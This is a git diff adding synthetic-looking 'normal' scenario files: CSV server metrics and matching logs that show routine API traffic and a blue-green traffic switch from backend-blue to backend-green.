+Aug 19 10:03:50 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:03:55 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:04:00 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:05 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:04:10 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:15 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:04:20 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:25 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:04:30 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 19 10:04:40 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:45 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:04:50 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:04:55 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:05:00 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:05 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:05:10 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:15 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:05:20 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 19 10:05:30 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:35 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:05:40 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:45 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:05:50 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:05:55 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:06:00 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:05 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:06:10 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 19 10:06:20 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:25 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:06:30 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:35 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:06:40 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:45 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:06:50 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:06:55 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:07:00 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green +Aug 19 10:07:10 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:07:15 backend-green[3344]: GET /api/v1/products status=200 OK +Aug 19 10:07:20 backend-green[3344]: GET /api/v1/user/58 status=200 OK +Aug 19 10:07:25 backend-green[3344]: GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_5.csv b/norm_dataset/scenario_6/norm_6_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..07f99b03858bdd830961129aa2b4fd30cef763c7 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,89.48750074347332,73.28293325961987,36.71990779428016,1.016747752538452,1.1449257166204807 +2025-07-02T12:00:05Z,93.20141636567529,73.94692785243781,41.310788750428074,1.7136389513306372,0.9693762529857932 +2025-07-02T12:00:10Z,92.55479938191455,72.61122750656432,41.70537303331532,1.5453196294392413,1.1675976708758755 +2025-07-02T12:00:15Z,86.74528521729955,78.97835625189599,39.12346920440739,1.690480128903245,1.4020752684363202 +2025-07-02T12:00:20Z,92.61944470270838,75.2103711869263,39.7593293273856,1.6110429233285006,1.2035440968969042 +2025-07-02T12:00:25Z,94.01644800789266,71.94315699695365,41.40186172791858,1.141865258432941,1.3306013668032837 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+2025-07-02T12:07:10Z,81.16562771951803,76.2628694177067,36.50669788313904,1.7404931272839141,1.0664080922487267 +2025-07-02T12:07:15Z,81.0765533950553,75.5701476003779,44.36325538266246,1.6048956067221034,1.4130670270845946 +2025-07-02T12:07:20Z,81.77542676385924,74.91556745662844,38.189645548865286,1.4653941522382077,0.9412142451200356 +2025-07-02T12:07:25Z,69.68204603207016,83.23860026077134,37.482386927061796,1.4668666300474922,1.3357480624623495 diff --git a/norm_dataset/scenario_6/norm_6_5.log b/norm_dataset/scenario_6/norm_6_5.log new file mode 100644 index 0000000000000000000000000000000000000000..253f0cc12d30f30f43030d8fe3a76d14e40e89b1 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_5.log @@ -0,0 +1,43 @@ +Jul 02 12:00:00 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:15 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:30 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:45 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:15 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:30 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:00 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:15 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:30 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:45 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:03:00 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:03:15 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 backend-blue[1234]: GET /api/v1/data status=200 OK +Jul 02 12:03:45 jenkins[6789]: INFO: Production traffic switch for deployment #123 successful. +Jul 02 12:03:45 haproxy[3456]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green' +Jul 02 12:03:45 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:04:00 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:04:15 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:04:20 backend-blue[1234]: INFO: Service is now idle. +Jul 02 12:04:30 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:04:45 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:04:55 backend-blue[1234]: INFO: Service is now idle. +Jul 02 12:05:00 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:05:15 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:05:30 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:05:30 backend-blue[1234]: INFO: Service is now idle. +Jul 02 12:05:45 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:06:00 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:06:05 backend-blue[1234]: INFO: Service is now idle. +Jul 02 12:06:15 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:06:30 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:06:40 backend-blue[1234]: INFO: Service is now idle. +Jul 02 12:06:45 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:07:00 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:07:15 backend-green[5678]: GET /api/v1/data status=200 OK +Jul 02 12:07:15 backend-blue[1234]: INFO: Service is now idle. diff --git a/norm_dataset/scenario_6/norm_6_6.csv b/norm_dataset/scenario_6/norm_6_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..ab7e658ccf2ee0bbfaa7219c783df4dca1c8882d --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_6.csv @@ -0,0 +1,91 @@ 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+2025-08-22T14:07:25.000Z,72.93,58.78,47.05,24.92,8.93 diff --git a/norm_dataset/scenario_6/norm_6_6.log b/norm_dataset/scenario_6/norm_6_6.log new file mode 100644 index 0000000000000000000000000000000000000000..8195b1543a2a2578990e8a035b53e4bbec23136c --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_6.log @@ -0,0 +1,53 @@ +Aug 22 14:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:00:10 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:00:30 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:00:50 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:01:10 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:01:30 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:01:50 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:02:10 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:02:30 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:02:50 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:03:10 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:03:30 haproxy[1851]: INFO backend-blue/server1 10.0.1.10:80 status 200 OK +Aug 22 14:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abcde +Aug 22 14:03:44 jenkins[7890]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 14:03:45 haproxy[1851]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 14:04:00 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:04:05 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:04:15 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:04:20 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:04:30 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:04:35 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:04:45 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:04:50 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:05:00 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:05:05 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:05:15 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:05:20 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:05:30 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:05:35 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:05:45 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:05:50 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:06:00 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:06:05 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:06:15 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:06:20 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:06:30 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:06:35 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:06:45 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:06:50 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:07:00 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:07:05 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK +Aug 22 14:07:15 web-app-green[5678]: GET /api/v1/data status=200 OK +Aug 22 14:07:20 haproxy[1851]: INFO backend-green/server2 10.0.2.12:80 status 200 OK diff --git a/norm_dataset/scenario_6/norm_6_7.csv b/norm_dataset/scenario_6/norm_6_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..7099efafccb63b1e1471c04a80e2c64c8cb50c0b --- /dev/null +++ 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+2025-08-20T10:06:30Z,64.80,62.17,29.10,1.51,1.67 +2025-08-20T10:06:35Z,52.40,80.86,22.10,2.39,1.00 +2025-08-20T10:06:40Z,79.28,60.47,33.68,2.03,1.97 +2025-08-20T10:06:45Z,75.32,72.63,31.69,1.35,1.52 +2025-08-20T10:06:50Z,64.14,63.02,27.03,1.14,1.47 +2025-08-20T10:06:55Z,64.62,74.93,28.47,2.10,1.24 +2025-08-20T10:07:00Z,64.10,75.63,38.58,1.97,1.32 +2025-08-20T10:07:05Z,51.57,82.77,34.95,2.19,1.15 +2025-08-20T10:07:10Z,69.77,73.14,29.62,2.33,1.18 +2025-08-20T10:07:15Z,54.76,66.63,31.13,1.22,1.56 +2025-08-20T10:07:20Z,74.38,83.78,39.28,1.13,1.99 +2025-08-20T10:07:25Z,50.29,80.55,26.76,1.47,0.89 diff --git a/norm_dataset/scenario_6/norm_6_7.log b/norm_dataset/scenario_6/norm_6_7.log new file mode 100644 index 0000000000000000000000000000000000000000..c2e26d827d0ef11d82377d45b442417b61dac2cd --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_7.log @@ -0,0 +1,25 @@ +Aug 20 10:00:00 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:00:25 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:00:50 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:01:15 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:01:40 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:02:05 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:02:30 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:02:55 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:03:20 backend-blue[1122]: GET /api/v1/health status=200 OK +Aug 20 10:03:45 deployment-system[8080]: INFO: Production traffic switch for deployment #123 successful. +Aug 20 10:03:46 gateway[4567]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 20 10:04:05 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:04:10 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:04:35 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:04:40 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:05:00 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:05:15 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:05:25 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:05:50 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:05:50 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:06:15 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:06:25 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:06:40 backend-green[3344]: GET /api/v1/health status=200 OK +Aug 20 10:07:00 backend-green[3344]: GET /api/v1/user/99 status=200 OK +Aug 20 10:07:05 backend-green[3344]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_8.csv b/norm_dataset/scenario_6/norm_6_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..b3c42d6ee25734ae934c9516155e70c9afa23446 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-27T14:00:00Z,59.69,63.0,38.22,1.52,1.15 +2025-10-27T14:00:05Z,47.46,64.78,39.08,1.57,1.21 +2025-10-27T14:00:10Z,57.92,55.22,31.8,1.75,1.11 +2025-10-27T14:00:15Z,54.31,58.41,50.09,1.43,1.35 +2025-10-27T14:00:20Z,55.63,63.6,38.71,1.4,1.09 +2025-10-27T14:00:25Z,56.84,61.72,39.69,1.72,1.24 +2025-10-27T14:00:30Z,53.79,58.01,31.13,1.71,1.17 +2025-10-27T14:00:35Z,57.29,58.86,44.09,1.64,1.09 +2025-10-27T14:00:40Z,62.25,60.51,53.7,1.77,1.37 +2025-10-27T14:00:45Z,57.39,61.36,37.88,1.58,1.46 +2025-10-27T14:00:50Z,49.32,63.09,34.19,1.43,1.03 +2025-10-27T14:00:55Z,55.87,56.31,44.44,1.76,1.37 +2025-10-27T14:01:00Z,51.48,56.65,49.18,1.21,1.08 +2025-10-27T14:01:05Z,58.0,59.62,37.91,1.59,1.61 +2025-10-27T14:01:10Z,55.43,58.87,20.79,1.8,1.25 +2025-10-27T14:01:15Z,61.51,59.13,30.31,1.53,1.61 +2025-10-27T14:01:20Z,54.83,56.17,51.52,1.8,1.34 +2025-10-27T14:01:25Z,59.89,62.92,41.53,1.17,0.99 +2025-10-27T14:01:30Z,62.64,54.14,30.82,2.13,1.42 +2025-10-27T14:01:35Z,62.42,59.26,40.05,1.53,1.48 +2025-10-27T14:01:40Z,36.68,60.7,45.85,1.04,0.82 +2025-10-27T14:01:45Z,60.25,59.06,41.46,1.92,0.92 +2025-10-27T14:01:50Z,46.85,60.14,60.0,1.98,1.14 +2025-10-27T14:01:55Z,57.16,63.61,39.19,1.24,1.2 +2025-10-27T14:02:00Z,52.44,58.63,37.24,1.12,0.99 +2025-10-27T14:02:05Z,57.39,63.58,29.92,1.81,1.11 +2025-10-27T14:02:10Z,55.28,56.89,35.92,1.6,0.82 +2025-10-27T14:02:15Z,49.07,61.17,43.24,1.12,1.33 +2025-10-27T14:02:20Z,45.63,59.75,36.4,1.57,1.35 +2025-10-27T14:02:25Z,57.85,61.12,46.82,1.5,1.41 +2025-10-27T14:02:30Z,60.46,60.56,29.34,2.09,1.31 +2025-10-27T14:02:35Z,64.35,57.63,34.13,1.17,1.19 +2025-10-27T14:02:40Z,53.3,61.14,41.4,1.5,1.09 +2025-10-27T14:02:45Z,56.19,60.01,24.13,1.45,1.14 +2025-10-27T14:02:50Z,58.86,61.09,45.32,1.36,1.15 +2025-10-27T14:02:55Z,63.17,57.33,45.26,1.18,1.06 +2025-10-27T14:03:00Z,57.14,61.57,39.3,1.48,1.26 +2025-10-27T14:03:05Z,56.31,59.52,33.83,1.43,0.98 +2025-10-27T14:03:10Z,59.97,62.39,38.64,1.66,1.18 +2025-10-27T14:03:15Z,53.82,64.81,37.66,1.17,0.92 +2025-10-27T14:03:20Z,52.47,61.79,49.36,1.13,1.05 +2025-10-27T14:03:25Z,56.52,61.95,43.2,1.35,0.98 +2025-10-27T14:03:30Z,52.65,61.48,50.36,1.46,1.14 +2025-10-27T14:03:35Z,57.19,58.67,30.78,1.99,1.29 +2025-10-27T14:03:40Z,50.65,60.56,32.17,2.03,1.43 +2025-10-27T14:03:45Z,64.41,69.57,58.76,1.55,1.32 +2025-10-27T14:03:50Z,65.1,67.96,38.67,1.49,1.5 +2025-10-27T14:03:55Z,59.0,68.99,50.36,1.36,1.66 +2025-10-27T14:04:00Z,68.02,66.6,37.76,1.63,1.61 +2025-10-27T14:04:05Z,50.8,64.39,46.03,1.75,1.68 +2025-10-27T14:04:10Z,64.44,68.08,33.82,1.8,1.27 +2025-10-27T14:04:15Z,61.14,73.85,27.45,1.9,1.25 +2025-10-27T14:04:20Z,55.94,72.83,50.43,1.4,1.44 +2025-10-27T14:04:25Z,68.36,68.8,53.26,1.51,1.5 +2025-10-27T14:04:30Z,68.36,71.39,40.17,1.58,1.48 +2025-10-27T14:04:35Z,67.99,70.33,39.88,1.76,1.5 +2025-10-27T14:04:40Z,62.1,69.84,45.72,1.64,1.44 +2025-10-27T14:04:45Z,50.49,72.44,50.17,1.15,1.78 +2025-10-27T14:04:50Z,66.71,68.66,40.83,1.87,1.36 +2025-10-27T14:04:55Z,58.72,77.01,55.94,1.56,1.57 +2025-10-27T14:05:00Z,70.63,73.45,67.54,2.04,1.53 +2025-10-27T14:05:05Z,66.15,76.01,48.89,2.07,1.74 +2025-10-27T14:05:10Z,70.75,69.1,53.09,1.76,1.55 +2025-10-27T14:05:15Z,68.55,68.8,56.31,1.68,1.74 +2025-10-27T14:05:20Z,61.24,68.44,45.32,2.33,1.49 +2025-10-27T14:05:25Z,75.13,63.94,35.94,1.61,1.42 +2025-10-27T14:05:30Z,60.4,71.26,56.79,1.67,1.63 +2025-10-27T14:05:35Z,60.07,72.77,52.39,2.21,1.48 +2025-10-27T14:05:40Z,59.76,72.05,46.94,2.43,1.49 +2025-10-27T14:05:45Z,65.15,68.58,44.77,1.87,1.46 +2025-10-27T14:05:50Z,69.53,70.55,48.55,1.71,1.42 +2025-10-27T14:05:55Z,64.48,72.24,59.05,2.02,1.3 +2025-10-27T14:06:00Z,71.95,64.22,57.02,1.96,1.83 +2025-10-27T14:06:05Z,72.08,68.12,56.52,2.28,1.69 +2025-10-27T14:06:10Z,54.0,71.26,46.17,1.31,1.16 +2025-10-27T14:06:15Z,64.97,69.45,51.29,1.93,1.59 +2025-10-27T14:06:20Z,70.29,68.81,32.18,2.21,1.33 +2025-10-27T14:06:25Z,66.04,62.93,57.23,1.35,1.62 +2025-10-27T14:06:30Z,66.39,73.42,45.89,2.17,1.33 +2025-10-27T14:06:35Z,67.65,67.84,48.99,1.5,1.44 +2025-10-27T14:06:40Z,68.22,67.32,26.38,1.84,1.46 +2025-10-27T14:06:45Z,66.53,69.96,52.73,1.83,1.73 +2025-10-27T14:06:50Z,59.52,61.73,53.0,1.72,1.56 +2025-10-27T14:06:55Z,61.14,70.5,70.0,2.34,1.54 +2025-10-27T14:07:00Z,62.69,72.34,54.07,1.68,1.46 +2025-10-27T14:07:05Z,66.14,69.94,65.25,2.29,1.32 +2025-10-27T14:07:10Z,64.46,70.36,68.7,1.28,1.16 +2025-10-27T14:07:15Z,71.98,73.22,42.1,2.24,1.55 +2025-10-27T14:07:20Z,62.68,68.45,38.78,2.16,1.7 +2025-10-27T14:07:25Z,59.28,66.18,49.63,2.25,1.64 diff --git a/norm_dataset/scenario_6/norm_6_8.log b/norm_dataset/scenario_6/norm_6_8.log new file mode 100644 index 0000000000000000000000000000000000000000..c910b96ca48fdc8b259205f3ccb1a59a52043130 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_8.log @@ -0,0 +1,43 @@ +Oct 27 14:00:00 backend-blue[2345]: GET /api/v1/health status=200 OK +Oct 27 14:00:10 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:00:15 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:00:30 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:00:45 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:01:00 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:01:15 kubelet[1122]: INFO Liveness probe succeeded for pod backend-blue-pod +Oct 27 14:01:25 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:01:30 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:01:35 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:01:50 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:02:00 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:02:15 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:02:30 kubelet[1122]: INFO Liveness probe succeeded for pod backend-blue-pod +Oct 27 14:02:35 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:02:45 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:02:55 backend-blue[2345]: GET /api/v1/health status=200 OK +Oct 27 14:03:05 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:03:20 kubelet[1122]: INFO Liveness probe succeeded for pod backend-blue-pod +Oct 27 14:03:25 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:03:40 backend-blue[2345]: GET /api/v1/user/99 status=200 OK +Oct 27 14:03:45 jenkins[7890]: INFO: Production traffic switch for deployment #123 successful. +Oct 27 14:03:46 gateway[1234]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Oct 27 14:03:50 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:04:00 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:04:10 kubelet[1122]: INFO Liveness probe succeeded for pod backend-green-pod +Oct 27 14:04:20 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:04:35 kubelet[1122]: INFO Liveness probe succeeded for pod backend-green-pod +Oct 27 14:04:50 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:05:05 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:05:20 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:05:30 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:05:40 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:05:45 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:00 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:05 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod backend-green-pod +Oct 27 14:06:30 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:45 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:50 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:06:55 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:07:10 backend-green[5678]: GET /api/v2/user/101 status=200 OK +Oct 27 14:07:15 backend-green[5678]: GET /api/v2/user/101 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_9.csv b/norm_dataset/scenario_6/norm_6_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..7fc714c6e377d630384da2ef4ec59bf8e9065524 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T14:00:00Z,53.44,64.57,35.54,1.55,1.32 +2025-08-21T14:00:05Z,59.0,61.19,37.69,1.98,1.27 +2025-08-21T14:00:10Z,56.79,61.45,32.52,1.66,1.61 +2025-08-21T14:00:15Z,51.56,63.07,21.88,1.67,1.38 +2025-08-21T14:00:20Z,43.96,68.25,20.22,1.84,0.78 +2025-08-21T14:00:25Z,61.29,64.37,36.58,1.71,1.29 +2025-08-21T14:00:30Z,62.69,61.93,36.69,1.3,1.25 +2025-08-21T14:00:35Z,49.8,66.64,18.98,2.04,1.43 +2025-08-21T14:00:40Z,65.87,61.37,22.44,1.47,1.36 +2025-08-21T14:00:45Z,55.82,59.99,38.73,1.52,1.07 +2025-08-21T14:00:50Z,71.4,57.57,30.59,1.49,1.17 +2025-08-21T14:00:55Z,61.51,60.55,46.25,1.69,1.45 +2025-08-21T14:01:00Z,57.07,59.98,34.14,1.45,1.07 +2025-08-21T14:01:05Z,65.16,57.17,37.43,1.62,1.26 +2025-08-21T14:01:10Z,59.73,53.07,29.33,2.03,1.02 +2025-08-21T14:01:15Z,60.0,58.02,26.41,1.28,1.45 +2025-08-21T14:01:20Z,59.9,58.44,18.4,0.95,1.45 +2025-08-21T14:01:25Z,58.88,56.6,8.34,1.89,1.24 +2025-08-21T14:01:30Z,62.95,54.66,38.93,1.59,1.03 +2025-08-21T14:01:35Z,63.92,54.09,36.35,1.71,1.12 +2025-08-21T14:01:40Z,61.71,55.7,25.97,1.72,1.18 